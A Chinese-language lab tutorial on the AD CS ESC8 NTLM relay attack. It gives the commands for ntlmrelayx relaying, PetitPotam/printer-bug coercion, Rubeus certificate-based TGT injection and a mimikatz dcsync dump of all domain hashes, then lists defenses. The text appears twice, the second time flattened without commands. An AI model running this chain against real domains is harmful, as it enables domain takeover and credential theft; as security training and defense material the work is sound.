ADCS中的ntlm relay
字数 1677 2025-08-25 22:59:15

ADCS中的NTLM Relay攻击分析与防御指南

前言

Active Directory证书服务(AD CS)是微软对PKI(公钥基础设施)的实现,用于部署企业根或独立根建立SSL加密通道,加密文件系统,数字签名以及身份验证。SpecterOps发布的白皮书《Certified Pre-Owned》详细描述了19种针对ADCS的攻击手法,其中ESC8(ADCS Relay)攻击因其高危害性而备受关注。

环境搭建

实验环境配置

  • 攻击机:Kali Linux (10.211.55.128)
  • 主DC:Windows Server 2012 R2 (10.211.55.12)
  • 辅DC(安装ADCS):Windows Server 2012 R2 (10.211.55.7)

ADCS安装步骤

  1. 在辅DC上打开服务器管理器
  2. 选择"添加角色和功能"
  3. 找到"Active Directory证书服务"并安装
  4. 安装时勾选"证书颁发机构"和"证书颁发机构Web注册"两个角色服务

CA配置

  1. 点击旗帜图标配置Active Directory证书服务
  2. 勾选"证书颁发机构"和"证书颁发机构Web注册"
  3. 完成根证书和私钥的配置

ADCS基础概念

证书颁发机构(CA)

CA的主要功能是颁发证书、吊销证书,以及发布授权信息访问(AIA)和吊销信息。部署的第一个CA成为内部PKI的根,可以在此基础上部署从属CA。

证书模板

证书模板定义了颁发证书的信息,包括:

  • 加密程序
  • 证书有效期
  • 是否允许导出私钥等

可通过mmc控制台添加"证书模板"管理单元查看。

证书申请流程

  1. 在IIS服务器创建证书申请
  2. 生成包含证书申请信息的txt文件
  3. 访问证书颁发机构Web注册页面(http://CA服务器/certsrv)
  4. 选择"高级证书申请",使用Base64编码提交申请
  5. 选择证书模板(如Web服务器)并提交

ESC8 (ADCS Relay)攻击分析

攻击原理

ADCS的HTTP证书接口允许通过NTLM身份验证,但默认未启用NTLM中继保护。攻击者可利用NTLM Relay攻击ADCS证书服务,通过普通用户凭据获取域管权限。

攻击流程

  1. 利用PetitPotam或打印机漏洞强制域控使用机器账户发起NTLM认证请求
  2. 将请求Relay到证书服务的HTTP接口,通过验证获得域机器账户身份
  3. 利用证书模板为机器用户申请证书
  4. 使用获取的证书进行认证,获取域控权限

详细攻击步骤

1. 准备工具

安装最新版impacket(支持ADCS攻击的分支):

git clone https://github.com/ExAndroidDev/impacket.git
cd impacket
git checkout ntlmrelayx-adcs-attack
python3 -m venv impacket
source impacket/bin/activate
pip install .

2. 定位CA服务器

使用certutil命令查找域内CA服务器:

certutil -config - -ping

3. 启动NTLM中继

python3 ntlmrelayx.py -debug -smb2support --target http://CA服务器IP/certsrv/certfnsh.asp --adcs --template DomainController

4. 触发NTLM认证

使用打印机漏洞或PetitPotam强制域控认证:

python3 printerbug.py 域/用户:密码@域控IP 攻击机IP

或使用SpoolSample工具:

SpoolSample.exe 域控IP 攻击机IP

5. 获取证书

成功攻击后,ntlmrelayx将输出获得的证书信息。

6. 获取域控权限

使用Rubeus工具利用证书获取TGT并注入:

Rubeus.exe asktgt /user:域控机器账户 /certificate:获得的证书 /ptt

注意:可能需要在域控的安全设置中配置Kerberos允许所有加密类型。

7. 导出域控哈希

使用mimikatz导出域控哈希:

lsadump::dcsync /all /csv /domain:域名

防御措施

  1. 关闭证书服务的Web端点:如果不需要Web注册功能,直接关闭HTTP接口

  2. 启用SSL认证:强制使用HTTPS而非HTTP

  3. 开启NTLM中继保护

    • 启用SMB签名
    • 配置EPA(Extended Protection for Authentication)
    • 禁用NTLMv1,强制使用NTLMv2
  4. 限制证书模板权限:严格控制哪些账户可以申请敏感证书模板

  5. 监控异常证书申请:建立对异常证书申请行为的监控机制

参考资源

  1. Certified Pre-Owned白皮书
  2. ADCS + PetitPotam NTLM Relay实战
  3. Active Directory证书服务攻击与防御
  4. AD CS relay attack技术分析
  5. 全补丁域森林沦陷案例

通过理解ADCS Relay攻击原理和实施恰当的防御措施,可以有效保护企业ADCS环境免受此类高危害攻击。

ADCS中的NTLM Relay攻击分析与防御指南 前言 Active Directory证书服务(AD CS)是微软对PKI(公钥基础设施)的实现,用于部署企业根或独立根建立SSL加密通道,加密文件系统,数字签名以及身份验证。SpecterOps发布的白皮书《Certified Pre-Owned》详细描述了19种针对ADCS的攻击手法,其中ESC8(ADCS Relay)攻击因其高危害性而备受关注。 环境搭建 实验环境配置 攻击机:Kali Linux (10.211.55.128) 主DC:Windows Server 2012 R2 (10.211.55.12) 辅DC(安装ADCS):Windows Server 2012 R2 (10.211.55.7) ADCS安装步骤 在辅DC上打开服务器管理器 选择"添加角色和功能" 找到"Active Directory证书服务"并安装 安装时勾选"证书颁发机构"和"证书颁发机构Web注册"两个角色服务 CA配置 点击旗帜图标配置Active Directory证书服务 勾选"证书颁发机构"和"证书颁发机构Web注册" 完成根证书和私钥的配置 ADCS基础概念 证书颁发机构(CA) CA的主要功能是颁发证书、吊销证书,以及发布授权信息访问(AIA)和吊销信息。部署的第一个CA成为内部PKI的根,可以在此基础上部署从属CA。 证书模板 证书模板定义了颁发证书的信息,包括: 加密程序 证书有效期 是否允许导出私钥等 可通过mmc控制台添加"证书模板"管理单元查看。 证书申请流程 在IIS服务器创建证书申请 生成包含证书申请信息的txt文件 访问证书颁发机构Web注册页面(http://CA服务器/certsrv) 选择"高级证书申请",使用Base64编码提交申请 选择证书模板(如Web服务器)并提交 ESC8 (ADCS Relay)攻击分析 攻击原理 ADCS的HTTP证书接口允许通过NTLM身份验证,但默认未启用NTLM中继保护。攻击者可利用NTLM Relay攻击ADCS证书服务,通过普通用户凭据获取域管权限。 攻击流程 利用PetitPotam或打印机漏洞强制域控使用机器账户发起NTLM认证请求 将请求Relay到证书服务的HTTP接口,通过验证获得域机器账户身份 利用证书模板为机器用户申请证书 使用获取的证书进行认证,获取域控权限 详细攻击步骤 1. 准备工具 安装最新版impacket(支持ADCS攻击的分支): 2. 定位CA服务器 使用certutil命令查找域内CA服务器: 3. 启动NTLM中继 4. 触发NTLM认证 使用打印机漏洞或PetitPotam强制域控认证: 或使用SpoolSample工具: 5. 获取证书 成功攻击后,ntlmrelayx将输出获得的证书信息。 6. 获取域控权限 使用Rubeus工具利用证书获取TGT并注入: 注意:可能需要在域控的安全设置中配置Kerberos允许所有加密类型。 7. 导出域控哈希 使用mimikatz导出域控哈希: 防御措施 关闭证书服务的Web端点 :如果不需要Web注册功能,直接关闭HTTP接口 启用SSL认证 :强制使用HTTPS而非HTTP 开启NTLM中继保护 : 启用SMB签名 配置EPA(Extended Protection for Authentication) 禁用NTLMv1,强制使用NTLMv2 限制证书模板权限 :严格控制哪些账户可以申请敏感证书模板 监控异常证书申请 :建立对异常证书申请行为的监控机制 参考资源 Certified Pre-Owned白皮书 ADCS + PetitPotam NTLM Relay实战 Active Directory证书服务攻击与防御 AD CS relay attack技术分析 全补丁域森林沦陷案例 通过理解ADCS Relay攻击原理和实施恰当的防御措施,可以有效保护企业ADCS环境免受此类高危害攻击。